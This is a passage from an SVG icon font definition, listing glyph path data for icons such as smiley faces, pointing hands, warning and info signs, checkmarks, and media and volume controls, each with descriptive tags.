		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 112,244A28,28 2700 1 0 168,244A28,28 2700 1 0 112,244zM 280,244A28,28 2700 1 0 336,244A28,28 2700 1 0 280,244zM 317.671,104 L 346.049,104 C 350.094,72.279 331.852,40.768 300.568,29.38 C 264.297,16.178 224.049,34.943 210.845,71.212 C 202.923,92.975 178.774,104.235 157.012,96.312 C 137.078,89.055 125.969,68.182 130.329,48.002 L 101.953,48.002 C 97.91,79.724 116.15,111.233 147.434,122.622 C 183.704,135.825 223.954,117.058 237.157,80.791 C 245.078,59.026 269.229,47.767 290.989,55.69 C 310.922,62.946 322.032,83.821 317.671,104 Z" data-tags="confused, emoticon, smiley, face, bewildered" />
<glyph unicode="&#xe0eb;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.286-224, 224-224c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384z M 308,272
	c 15.464,0, 28-12.536, 28-28c0-15.464-12.536-28-28-28s-28,12.536-28,28C 280,259.464, 292.536,272, 308,272z M 140,272
	c 15.464,0, 28-12.536, 28-28c0-15.464-12.536-28-28-28s-28,12.536-28,28C 112,259.464, 124.536,272, 140,272z M 300.567,29.38
	c-36.27-13.204-76.519,5.561-89.723,41.831c-7.922,21.762-32.071,33.022-53.834,25.1c-19.933-7.257-31.044-28.13-26.682-48.311
	l-28.376,0 c-4.044,31.722, 14.197,63.233, 45.481,74.62c 36.27,13.204, 76.52-5.561, 89.723-41.831
	c 7.922-21.762, 32.071-33.021, 53.833-25.099c 19.933,7.255, 31.044,28.129, 26.682,48.31l 28.378,0 
	C 350.092,72.279, 331.851,40.767, 300.567,29.38z" data-tags="confused, emoticon, smiley, face, bewildered" />
<glyph unicode="&#xe0ec;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 112,244c0-15.464, 12.536-28, 28-28s 28,12.536, 28,28s-12.536,28-28,28S 112,259.464, 112,244z M 280,244
	c0-15.464, 12.536-28, 28-28s 28,12.536, 28,28s-12.536,28-28,28S 280,259.464, 280,244z M 168,76l 112,0 l0-28 L 168,48 L 168,76 z" data-tags="neutral, emoticon, smiley, face" />
<glyph unicode="&#xe0ed;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.286-224, 224-224c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384z M 280,48L 168,48 l0,28 
	l 112,0 L 280,48 z M 308,272c 15.464,0, 28-12.536, 28-28c0-15.464-12.536-28-28-28s-28,12.536-28,28C 280,259.464, 292.536,272, 308,272z M 140,272
	c 15.464,0, 28-12.536, 28-28c0-15.464-12.536-28-28-28s-28,12.536-28,28C 112,259.464, 124.536,272, 140,272z" data-tags="neutral, emoticon, smiley, face" />
<glyph unicode="&#xe0ee;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 326.261,120.791L 336.1,87.202L 144.909,31.201L 135.070,64.79zM 112,244 C 112,259.464 124.536,272 140,272 C 155.464,272 168,259.464 168,244 C 168,228.536 155.464,216 140,216 C 124.536,216 112,228.536 112,244 Z M 280,244 C 280,259.464 292.536,272 308,272 C 323.464,272 336,259.464 336,244 C 336,228.536 323.464,216 308,216 C 292.536,216 280,228.536 280,244 Z" data-tags="wondering, emoticon, smiley, face, question" />
<glyph unicode="&#xe0ef;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 308,272
	c 15.464,0, 28-12.536, 28-28s-12.536-28-28-28s-28,12.536-28,28S 292.536,272, 308,272z M 112,244c0,15.464, 12.536,28, 28,28
	s 28-12.536, 28-28s-12.536-28-28-28S 112,228.536, 112,244z M 144.919,31.206l-9.838,33.589l 191.188,56l 9.838-33.589L 144.919,31.206z" data-tags="wondering, emoticon, smiley, face, question" />
<glyph unicode="&#xe0f0;" d="M 140,328L 140,175.834 C 104.602,185.659, 95.991,190.625, 58.625,190.625c-32.326,0-58.625-26.299-58.625-58.625c0-32.325 26.299-58.625 58.625-58.625
	c 45.488,0 66.478-16.941 89.998-50.352c 0.698-0.992 1.383-2.003 2.061-3.023L 112,20 L 112-64 l 280,0 l 0,84 l-24.939,0 
	c 1.882,27.852, 9.709,35.49, 19.287,44.82c 7.389,7.198, 16.587,16.156, 23.308,32.388C 416.713,114.251, 420,136.428, 420,167l 0,21 l 0,7.429 
	c 0,27.098, -22.43,49.143, -50,49.143c-4.581,0-9.133-0.623-13.519-1.833c -9.186,8.623, -21.438,13.547, -34.481,13.547
	c-4.58,0-9.133-0.623-13.518-1.833c -9.187,8.623, -21.44,13.547, -34.482,13.547c-7.891,0-15.356-1.812-22-5.026L 252,328 
	c 0,30.929, -25.071,56, -56,56C 165.072,384, 140,358.929, 140,328z M 364-22c0-7.732-6.268-14-14-14s -14,6.268, -14,14s 6.268,14, 14,14
	S 364-14.269, 364-22z M 224,325.375L 224,216.233 L 224,213.375 l 28,0 l 0,2.858 c 0,11.658, 9.869,21.143, 22,21.143c 7.599,0 14.564-3.705 18.631-9.911
	l 7.107-10.845l 11.357,6.255c 3.308,1.823, 7.080,2.786, 10.905,2.786c 7.599,0 14.563-3.705 18.63-9.91l 7.107-10.846l 11.357,6.255
	c 3.308,1.823, 7.080,2.786, 10.906,2.786c 12.13,0 22-9.485 22-21.143L 392,185.375 l0-21 c0-55.371-16.715-66.538-28.853-78.361
	c-12.39-12.070-26.243-25.589-29.193-66.014L 187.665,20 c -3.615,6.893, -7.553,13.431, -11.852,19.538C 146.125,81.709, 114.762,104, 58.625,104
	c-13.992,0, -25.375,13.134, -25.375,27.125s 11.383,26.25, 25.375,26.25c 37.476,0 46.118-5.431 81.375-16.17c 9.95-2.679 19.806-5.216 27.709-6.946L 168,325.375
	c 0,15.439, 12.561,28, 28,28C 211.439,353.375, 224,340.814, 224,325.375z" data-tags="point-up, finger, direction, hand, up" />
<glyph unicode="&#xe0f1;" d="M 392,216L 239.834,216 C 249.659,251.398, 254.625,260.009, 254.625,297.375c0,32.326-26.299,58.625-58.625,58.625c-32.325,0-58.625-26.299-58.625-58.625
	c0-45.488-16.941-66.478-50.352-89.998c-0.992-0.698-2.003-1.383-3.023-2.061L 84,244 L0,244 l0-280 l 84,0 l0,24.939 
	c 27.852-1.882, 35.49-9.709, 44.82-19.287c 7.198-7.389, 16.156-16.587, 32.388-23.308C 178.251-60.713, 200.428-64, 231-64l 21,0 l 7.429,0 
	c 27.098,0, 49.143,22.43, 49.143,50c0,4.581-0.623,9.133-1.833,13.519c 8.623,9.186, 13.547,21.438, 13.547,34.481
	c0,4.58-0.623,9.133-1.833,13.518c 8.623,9.187, 13.547,21.44, 13.547,34.482c0,7.891-1.812,15.356-5.026,22L 392,104 
	c 30.929,0, 56,25.071, 56,56C 448,190.928, 422.929,216, 392,216z M 42-8c-7.732,0-14,6.268-14,14s 6.268,14, 14,14s 14-6.268, 14-14
	S 49.731-8, 42-8z M 389.375,132L 280.233,132 L 277.375,132 l0-28 l 2.858,0 c 11.658,0, 21.143-9.869, 21.143-22c0-7.599-3.705-14.564-9.911-18.631
	l-10.845-7.107l 6.255-11.357c 1.823-3.308, 2.786-7.080, 2.786-10.905c0-7.599-3.705-14.563-9.91-18.63l-10.846-7.107l 6.255-11.357
	c 1.823-3.308, 2.786-7.080, 2.786-10.906c0-12.13-9.485-22-21.143-22L 249.375-36 l-21,0 c-55.371,0-66.538,16.715-78.361,28.853
	c-12.070,12.39-25.589,26.243-66.014,29.193L 84,168.335 c 6.893,3.615, 13.431,7.553, 19.538,11.852C 145.709,209.875, 168,241.238, 168,297.375
	c0,13.992, 13.134,25.375, 27.125,25.375s 26.25-11.383, 26.25-25.375c0-37.476-5.431-46.118-16.17-81.375c-2.679-9.95-5.216-19.806-6.946-27.709L 389.375,188
	c 15.439,0, 28-12.561, 28-28C 417.375,144.561, 404.814,132, 389.375,132z" data-tags="point-right, finger, direction, hand, right" />
<glyph unicode="&#xe0f2;" d="M 140-8L 140,144.166 C 104.602,134.341, 95.991,129.375, 58.625,129.375c -32.326,0 -58.625,26.299 -58.625,58.625c0,32.325 26.299,58.625 58.625,58.625
	c 45.488,0 66.478,16.941 89.998,50.352c 0.698,0.992 1.383,2.003 2.061,3.023L 112,300 L 112,384 l 280,0 l 0-84 l -24.939,0 
	c 1.882-27.852, 9.709-35.49, 19.287-44.82c 7.389-7.198, 16.587-16.156, 23.308-32.388C 416.713,205.749, 420,183.572, 420,153l 0-21 l 0-7.429 
	c 0-27.098, -22.43-49.143, -50-49.143c -4.581,0 -9.133,0.623 -13.519,1.833c -9.186-8.623, -21.438-13.547, -34.481-13.547
	c -4.58,0 -9.133,0.623 -13.518,1.833c -9.187-8.623, -21.44-13.547, -34.482-13.547c -7.891,0 -15.356,1.812 -22,5.026L 252-8 
	c 0-30.929, -25.071-56, -56-56C 165.072-64, 140-38.929, 140-8z M 364,342c0,7.732 -6.268,14 -14,14s -14-6.268, -14-14s 6.268-14, 14-14
	S 364,334.269, 364,342z M 224-5.375L 224,103.767 L 224,106.625 l 28,0 l 0-2.858 c 0-11.658, 9.869-21.143, 22-21.143c 7.599,0 14.564,3.705 18.631,9.911
	l 7.107,10.845l 11.357-6.255c 3.308-1.823, 7.080-2.786, 10.905-2.786c 7.599,0 14.563,3.705 18.63,9.91l 7.107,10.846l 11.357-6.255
	c 3.308-1.823, 7.080-2.786, 10.906-2.786c 12.13,0 22,9.485 22,21.143L 392,134.625 l0,21 c0,55.371 -16.715,66.538 -28.853,78.361
	c -12.39,12.070 -26.243,25.589 -29.193,66.014L 187.665,300 c -3.615-6.893, -7.553-13.431, -11.852-19.538C 146.125,238.291, 114.762,216, 58.625,216
	c -13.992,0, -25.375-13.134, -25.375-27.125s 11.383-26.25, 25.375-26.25c 37.476,0 46.118,5.431 81.375,16.17c 9.95,2.679 19.806,5.216 27.709,6.946L 168-5.375
	c 0-15.439, 12.561-28, 28-28C 211.439-33.375, 224-20.814, 224-5.375z" data-tags="point-down, finger, direction, hand, down" />
<glyph unicode="&#xe0f3;" d="M 56,216L 208.166,216 C 198.341,251.398, 193.375,260.009, 193.375,297.375c0,32.326 26.299,58.625 58.625,58.625c 32.325,0 58.625-26.299 58.625-58.625
	c0-45.488 16.941-66.478 50.352-89.998c 0.992-0.698 2.003-1.383 3.023-2.061L 364,244 L 448,244 l0-280 l-84,0 l0,24.939 
	c -27.852-1.882, -35.49-9.709, -44.82-19.287c -7.198-7.389, -16.156-16.587, -32.388-23.308C 269.749-60.713, 247.572-64, 217-64l-21,0 l-7.429,0 
	c -27.098,0, -49.143,22.43, -49.143,50c0,4.581 0.623,9.133 1.833,13.519c -8.623,9.186, -13.547,21.438, -13.547,34.481
	c0,4.58 0.623,9.133 1.833,13.518c -8.623,9.187, -13.547,21.44, -13.547,34.482c0,7.891 1.812,15.356 5.026,22L 56,104 
	c -30.929,0, -56,25.071, -56,56C 0,190.928, 25.071,216, 56,216z M 406-8c 7.732,0 14,6.268 14,14s -6.268,14, -14,14s -14-6.268, -14-14
	S 398.269-8, 406-8z M 58.625,132L 167.767,132 L 170.625,132 l0-28 l-2.858,0 c -11.658,0, -21.143-9.869, -21.143-22c0-7.599 3.705-14.564 9.911-18.631
	l 10.845-7.107l -6.255-11.357c -1.823-3.308, -2.786-7.080, -2.786-10.905c0-7.599 3.705-14.563 9.91-18.63l 10.846-7.107l -6.255-11.357
	c -1.823-3.308, -2.786-7.080, -2.786-10.906c0-12.13 9.485-22 21.143-22L 198.625-36 l 21,0 c 55.371,0 66.538,16.715 78.361,28.853
	c 12.070,12.39 25.589,26.243 66.014,29.193L 364,168.335 c -6.893,3.615, -13.431,7.553, -19.538,11.852C 302.291,209.875, 280,241.238, 280,297.375
	c0,13.992, -13.134,25.375, -27.125,25.375s -26.25-11.383, -26.25-25.375c0-37.476 5.431-46.118 16.17-81.375c 2.679-9.95 5.216-19.806 6.946-27.709L 58.625,188
	c -15.439,0, -28-12.561, -28-28C 30.625,144.561, 43.186,132, 58.625,132z" data-tags="point-left, finger, direction, hand, left" />
<glyph unicode="&#xe0f4;" d="M 224,314.558 L 73.135-8 L 374.865-8 L 224,314.558 Z M 224,384 L 224,384 C 233.656,384 243.311,377.489 250.637,364.466 L 441.856-16.645 C 456.508-42.69 444.043-64 414.161-64 L 33.839-64 C 3.956-64 -8.507-42.69 6.143-16.645 L 197.363,364.466 C 204.689,377.489 214.344,384 224,384 ZM 196,48A28,28 2700 1 0 252,48A28,28 2700 1 0 196,48zM 224,216 C 239.464,216 252,203.464 252,188 L 243.25,104 L 204.75,104 L 196,188 C 196,203.464 208.536,216 224,216 Z" data-tags="warning, sign" />
<glyph unicode="&#xe0f5;" d="M 224,342 C 175.386,342 129.682,323.069 95.307,288.693 C 60.931,254.318 42,208.614 42,160 C 42,111.386 60.931,65.682 95.307,31.307 C 129.682-3.068 175.386-22 224-22 C 272.614-22 318.318-3.068 352.693,31.307 C 387.068,65.682 406,111.386 406,160 C 406,208.614 387.068,254.318 352.693,288.693 C 318.318,323.069 272.614,342 224,342 Z M 224,384 L 224,384 C 347.712,384 448,283.712 448,160 C 448,36.288 347.712-64 224-64 C 100.288-64 0,36.288 0,160 C 0,283.712 100.288,384 224,384 ZM 196,76L 252,76L 252,20L 196,20zM 196,300L 252,300L 252,132L 196,132z" data-tags="notification, warning, notice, note, exclamation" />
<glyph unicode="&#xe0f6;" d="M 196,76L 252,76L 252,20L 196,20zM 308,272 C 323.464,272 336,259.464 336,244 L 336,160 L 252,104 L 196,104 L 196,132 L 280,188 L 280,216 L 140,216 L 140,272 L 308,272 ZM 224,342 C 175.386,342 129.682,323.069 95.307,288.693 C 60.931,254.318 42,208.614 42,160 C 42,111.386 60.931,65.682 95.307,31.307 C 129.682-3.068 175.386-22 224-22 C 272.614-22 318.318-3.068 352.693,31.307 C 387.068,65.682 406,111.386 406,160 C 406,208.614 387.068,254.318 352.693,288.693 C 318.318,323.069 272.614,342 224,342 Z M 224,384 L 224,384 C 347.712,384 448,283.712 448,160 C 448,36.288 347.712-64 224-64 C 100.288-64 0,36.288 0,160 C 0,283.712 100.288,384 224,384 Z" data-tags="question, help, support" />
<glyph unicode="&#xe0f7;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-22
		c-100.516,0-182,81.484-182,182S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22zM 196,272L 252,272L 252,216L 196,216zM 280,48L 168,48L 168,76L 196,76L 196,160L 168,160L 168,188L 252,188L 252,76L 280,76 z" data-tags="info, information" />
<glyph unicode="&#xe0f8;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 196,300l 56,0 l0-56 l-56,0 L 196,300 z
	 M 280,20L 168,20 l0,28 l 28,0 L 196,160 l-28,0 l0,28 l 84,0 l0-140 l 28,0 L 280,20 z" data-tags="info, information" />
<glyph unicode="&#xe0f9;" d="M0,160c0-123.712, 100.288-224, 224-224c 123.713,0, 224,100.288, 224,224S 347.713,384, 224,384C 100.288,384,0,283.712,0,160z M 392,160
	c0-32.041-8.974-61.985-24.538-87.462L 136.539,303.462C 162.015,319.027, 191.959,328, 224,328C 316.783,328, 392,252.784, 392,160z M 56,160
	c0,32.041, 8.974,61.984, 24.539,87.462l 230.922-230.923C 285.984,0.973, 256.041-8, 224-8C 131.217-8, 56,67.216, 56,160z" data-tags="blocked, cancel, stop, forbidden, denied, banned" />
<glyph unicode="&#xe0fa;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 336,232.402L 263.599,160
	L 336,87.599L 336,48 l-39.599,0 L 224,120.401L 151.598,48L 112,48 l0,39.599 L 184.402,160L 112,232.402L 112,272 l 39.598,0 L 224,199.598L 296.401,272L 336,272 
	L 336,232.402 z" data-tags="cancel-circle, close, remove, delete" />
<glyph unicode="&#xe0fb;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 182,20L 89.25,140.75l 41.125,42.875l 51.625-65.625
	l 161.875,132.125l 20.125-20.125L 182,20z" data-tags="checkmark-circle, tick, correct" />
<glyph unicode="&#xe0fc;" d="M 448,62M 322,384L 126,384 L0,258l0-196 l 126-126l 196,0 l 126,126L 448,258 L 322,384z M 252,20l-56,0 l0,56 l 56,0 L 252,20 z M 252,132l-56,0 L 196,300 l 56,0 L 252,132 z" data-tags="spam, notice, notification, exclamation" />
<glyph unicode="&#xe0fd;" d="M 443.915,24.086c-0.002,0.002-0.004,0.004-0.005,0.004L 308.003,160l 135.907,135.909c 0.002,0.002, 0.004,0.003, 0.005,0.004
		c 1.463,1.464, 2.521,3.174, 3.199,4.995c 1.858,4.977, 0.798,10.798-3.204,14.801L 379.708,379.91c-4.002,4.001-9.822,5.060-14.8,3.203
		c-1.82-0.678-3.531-1.736-4.995-3.198c0-0.002-0.002-0.003-0.004-0.004L 224.001,244L 88.092,379.909
		c-0.002,0.002-0.003,0.003-0.004,0.004c-1.464,1.462-3.174,2.52-4.994,3.198c-4.979,1.859-10.798,0.799-14.801-3.203L 4.091,315.707
		c-4.002-4.002-5.061-9.823-3.203-14.8c 0.679-1.82, 1.737-3.531, 3.199-4.995c 0.002-0.001, 0.003-0.003, 0.004-0.004L 140.001,160
		L 4.091,24.090c-0.001-0.002-0.003-0.003-0.004-0.004c-1.462-1.464-2.52-3.174-3.2-4.994c-1.859-4.977-0.799-10.798, 3.203-14.801
		l 64.202-64.201c 4.003-4.002, 9.823-5.061, 14.801-3.203c 1.82,0.679, 3.531,1.737, 4.995,3.199c 0.001,0.002, 0.003,0.003, 0.004,0.004
		l 135.909,135.909l 135.909-135.909c 0.002-0.001, 0.004-0.003, 0.005-0.004c 1.465-1.463, 3.174-2.521, 4.994-3.2
		c 4.978-1.858, 10.799-0.799, 14.8,3.203l 64.201,64.202c 4.002,4.002, 5.062,9.824, 3.204,14.801
		C 446.435,20.913, 445.378,22.622, 443.915,24.086z" data-tags="close, cancel, quit, remove, cross" />
<glyph unicode="&#xe0fe;" d="M 378,328L 168,118L 70,216L0,146L 168-22L 448,258 z" data-tags="checkmark, tick, correct, accept, ok" />
<glyph unicode="&#xe0ff;" d="M 173.877-17.492l-174.067,171.325l 86.353,84.993l 87.714-86.333l 187.959,184.998l 86.353-84.993L 173.877-17.492z
		 M 47.212,153.833l 126.667-124.671l 226.912,223.336l-38.953,38.339l-187.959-184.998L 86.164,192.173L 47.212,153.833z" data-tags="checkmark, tick, correct, accept, ok" />
<glyph unicode="&#xe100;" d="M 56,272l 56,0 l0-84 l 28,0 L 140,356 c0,15.4-12.6,28-28,28L 56,384 C 40.6,384, 28,371.4, 28,356l0-168 l 28,0 L 56,272 z M 56,356l 56,0 l0-56 L 56,300 L 56,356 z M 420,356L 420,384 l-84,0 
	c-15.401,0-28-12.6-28-28l0-140 c0-15.4, 12.599-28, 28-28l 84,0 l0,28 l-84,0 L 336,356 L 420,356 z M 280,314L 280,356 c0,15.4-12.6,28-28,28l-84,0 l0-196 l 84,0 
	c 15.4,0, 28,12.6, 28,28l0,42 c0,15.4-3.85,28-19.25,28C 276.15,286, 280,298.6, 280,314z M 252,216l-56,0 l0,56 l 56,0 L 252,216 z M 252,300l-56,0 L 196,356 l 56,0 L 252,300 zM 364,132 L 182-64 L 84,62 L 119.875,92.625 L 182,27.875 L 336,160 Z" data-tags="spell-check, correct" />
<glyph unicode="&#xe101;" d="M0,202l0-84 c0-7.732, 6.268-14, 14-14l 420,0 c 7.732,0, 14,6.268, 14,14l0,84 c0,7.732-6.268,14-14,14L 14,216 C 6.268,216,0,209.732,0,202z" data-tags="minus, minimize, subtract" />
<glyph unicode="&#xe102;" d="M 434,216L 280,216 L 280,370 c0,7.732-6.268,14-14,14l-84,0 c-7.732,0-14-6.268-14-14l0-154 L 14,216 c-7.732,0-14-6.268-14-14l0-84 
	c0-7.732, 6.268-14, 14-14l 154,0 l0-154 c0-7.732, 6.268-14, 14-14l 84,0 c 7.732,0, 14,6.268, 14,14L 280,104 l 154,0 c 7.732,0, 14,6.268, 14,14l0,84 
	C 448,209.732, 441.731,216, 434,216z" data-tags="plus, add, sum" />
<glyph unicode="&#xe103;" d="M 168,160 L 28,160 L 28,216 L 168,216 L 168,272 L 252,188 L 168,104 ZM 448,384 L 448,20 L 280-64 L 280,20 L 112,20 L 112,132 L 140,132 L 140,48 L 280,48 L 280,300 L 392,356 L 140,356 L 140,244 L 112,244 L 112,384 Z" data-tags="enter, sign in, log in, login" />
<glyph unicode="&#xe104;" d="M 336,104 L 336,160 L 196,160 L 196,216 L 336,216 L 336,272 L 420,188 ZM 308,132 L 308,20 L 168,20 L 168-64 L 0,20 L 0,384 L 308,384 L 308,244 L 280,244 L 280,356 L 56,356 L 168,300 L 168,48 L 280,48 L 280,132 Z" data-tags="exit, sign out, log out, quit, close, logout" />
<glyph unicode="&#xe105;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-22
		c-100.516,0-182,81.484-182,182S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22zM 168,258L 336,160L 168,62 z" data-tags="play, media control, audio" />
<glyph unicode="&#xe106;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-22
		c-100.516,0-182,81.484-182,182S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22zM 140,244L 196,244L 196,76L 140,76zM 252,244L 308,244L 308,76L 252,76z" data-tags="pause, media control, audio" />
<glyph unicode="&#xe107;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-22
		c-100.516,0-182,81.484-182,182S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22zM 140,244L 308,244L 308,76L 140,76z" data-tags="stop, media control, audio" />
<glyph unicode="&#xe108;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 308,90L 210,160L 308,230 zM 196,90L 98,160L 196,230 z" data-tags="backward, media control, audio" />
<glyph unicode="&#xe109;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-22
		c-100.516,0-182,81.484-182,182S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22zM 140,230L 238,160L 140,90 zM 252,230L 350,160L 252,90 z" data-tags="forward, media control, audio" />
<glyph unicode="&#xe10a;" d="M 84,328L 364,160L 84-8 z" data-tags="play, media control, audio" />
<glyph unicode="&#xe10b;" d="M 56,328L 196,328L 196-8L 56-8zM 252,328L 392,328L 392-8L 252-8z" data-tags="pause, media control, audio" />
<glyph unicode="&#xe10c;" d="M 56,328L 392,328L 392-8L 56-8z" data-tags="stop, media control, audio, square" />
<glyph unicode="&#xe10d;" d="M 252,314 L 252,174 L 392,314 L 392,6 L 252,146 L 252,6 L 98,160 Z" data-tags="backward, media control, audio" />
<glyph unicode="&#xe10e;" d="M 224,6 L 224,146 L 84,6 L 84,314 L 224,174 L 224,314 L 378,160 Z" data-tags="forward, media control, audio" />
<glyph unicode="&#xe10f;" d="M 56-8 L 56,328 L 112,328 L 112,174 L 252,314 L 252,174 L 392,314 L 392,6 L 252,146 L 252,6 L 112,146 L 112-8 Z" data-tags="first, media control, audio" />
<glyph unicode="&#xe110;" d="M 392,328 L 392-8 L 336-8 L 336,146 L 196,6 L 196,146 L 56,6 L 56,314 L 196,174 L 196,314 L 336,174 L 336,328 Z" data-tags="last, media control, audio" />
<glyph unicode="&#xe111;" d="M 112-8 L 112,328 L 168,328 L 168,174 L 308,314 L 308,6 L 168,146 L 168-8 Z" data-tags="previous, media control, audio" />
<glyph unicode="&#xe112;" d="M 336,328 L 336-8 L 280-8 L 280,146 L 140,6 L 140,314 L 280,174 L 280,328 Z" data-tags="next, media control, audio" />
<glyph unicode="&#xe113;" d="M0,48L 448,48L 448-8L0-8zM 224,328 L 448,104 L 0,104 Z" data-tags="eject, media control, audio" />
<glyph unicode="&#xe114;" d="M 389.392-19.392c-5.375,0-10.748,2.050-14.85,6.15c-8.2,8.201-8.2,21.497,0,29.698
		C 412.885,54.8, 434.001,105.776, 434.001,160c0,54.223-21.116,105.2-59.458,143.543c-8.2,8.201-8.2,21.498,0,29.698
		c 8.2,8.2, 21.498,8.2, 29.698,0c 46.274-46.275, 71.76-107.8, 71.76-173.241c0-65.442-25.485-126.966-71.76-173.241
		C 400.141-17.342, 394.767-19.392, 389.392-19.392zM 314.794,20.206c-5.375,0-10.748,2.050-14.85,6.15c-8.2,8.2-8.2,21.497,0,29.698
		c 57.315,57.315, 57.315,150.574,0,207.889c-8.2,8.201-8.2,21.498,0,29.698c 8.2,8.2, 21.498,8.2, 29.698,0
		C 365.34,257.946, 385,210.484, 385,160c0-50.483-19.66-97.946-55.357-133.643C 325.543,22.256, 320.169,20.206, 314.794,20.206zM 240.196,59.804c-5.375,0-10.748,2.050-14.85,6.15c-8.201,8.201-8.201,21.497,0,29.698
		c 35.481,35.481, 35.481,93.213,0,128.693c-8.201,8.201-8.201,21.498,0,29.698c 8.201,8.2, 21.497,8.2, 29.698,0
		c 51.857-51.857, 51.857-136.234,0-188.091C 250.945,61.854, 245.57,59.804, 240.196,59.804zM 175.583,349.583 C 186.813,360.812 196,357.006 196,341.125 L 196-21.125 C 196-37.006 186.813-40.812 175.583-29.582 L 70,76 L 0,76 L 0,244 L 70,244 L 175.583,349.583 Z" horiz-adv-x="476" data-tags="volume-high, speaker, media control, audio" />
<glyph unicode="&#xe115;" d="M 314.794,20.206c-5.375,0-10.748,2.050-14.85,6.15c-8.2,8.2-8.2,21.497,0,29.698
		c 57.315,57.315, 57.315,150.574,0,207.889c-8.2,8.201-8.2,21.498,0,29.698c 8.2,8.2, 21.498,8.2, 29.698,0
		C 365.34,257.946, 385,210.484, 385,160c0-50.483-19.66-97.946-55.357-133.643C 325.543,22.256, 320.169,20.206, 314.794,20.206zM 240.196,59.804c-5.375,0-10.748,2.050-14.85,6.15c-8.201,8.201-8.201,21.497,0,29.698
		c 35.481,35.481, 35.481,93.213,0,128.693c-8.201,8.201-8.201,21.498,0,29.698c 8.201,8.2, 21.497,8.2, 29.698,0
		c 51.857-51.857, 51.857-136.234,0-188.091C 250.945,61.854, 245.57,59.804, 240.196,59.804zM 175.583,349.583 C 186.813,360.812 196,357.006 196,341.125 L 196-21.125 C 196-37.006 186.813-40.812 175.583-29.582 L 70,76 L 0,76 L 0,244 L 70,244 L 175.583,349.583 Z" data-tags="volume-medium, speaker, media control, audio" />
<glyph unicode="&#xe116;" d="M 240.196,59.804c-5.375,0-10.748,2.050-14.85,6.15c-8.201,8.201-8.201,21.497,0,29.698
		c 35.481,35.481, 35.481,93.213,0,128.693c-8.201,8.201-8.201,21.498,0,29.698c 8.201,8.2, 21.497,8.2, 29.698,0
		c 51.857-51.857, 51.857-136.234,0-188.091C 250.945,61.854, 245.57,59.804, 240.196,59.804zM 175.583,349.583 C 186.813,360.812 196,357.006 196,341.125 L 196-21.125 C 196-37.006 186.813-40.812 175.583-29.582 L 70,76 L 0,76 L 0,244 L 70,244 L 175.583,349.583 Z" data-tags="volume-low, speaker, media control, audio" />
<glyph unicode="&#xe117;" d="M 175.583,349.583 C 186.813,360.812 196,357.006 196,341.125 L 196-21.125 C 196-37.006 186.813-40.812 175.583-29.582 L 70,76 L 0,76 L 0,244 L 70,244 L 175.583,349.583 Z" data-tags="volume-mute, speaker, media control, audio, mute" />
<glyph unicode="&#xe118;" d="M 175.583,349.583 C 186.813,360.812 196,357.006 196,341.125 L 196-21.125 C 196-37.006 186.813-40.812 175.583-29.582 L 70,76 L 0,76 L 0,244 L 70,244 L 175.583,349.583 ZM 420,113.123 L 420,76 L 382.877,76 L 336,122.877 L 289.123,76 L 252,76 L 252,113.123 L 298.877,160 L 252,206.877 L 252,244 L 289.123,244 L 336,197.123 L 382.877,244 L 420,244 L 420,206.877 L 373.123,160 Z" data-tags="volume-mute, speaker, media control, audio, mute" />
<glyph unicode="&#xe119;" d="M 187.322,356.036 C 192.561,356.036 196,350.839 196.001,341.125 L 196.001-21.125 C 196.001-30.84 192.564-36.036 187.323-36.036 C 183.996-36.036 179.943-33.941 175.583-29.582 L 70,76 L 0,76 L 0,244 L 70,244 L 175.583,349.583 C 179.943,353.943 183.995,356.036 187.322,356.036 ZM 448,132 L 364,132 L 364,48 L 308,48 L 308,132 L 224,132 L 224,188 L 308,188 L 308,272 L 364,272 L 364,188 L 448,188 Z" data-tags="volume-increase, speaker, media control, audio" />
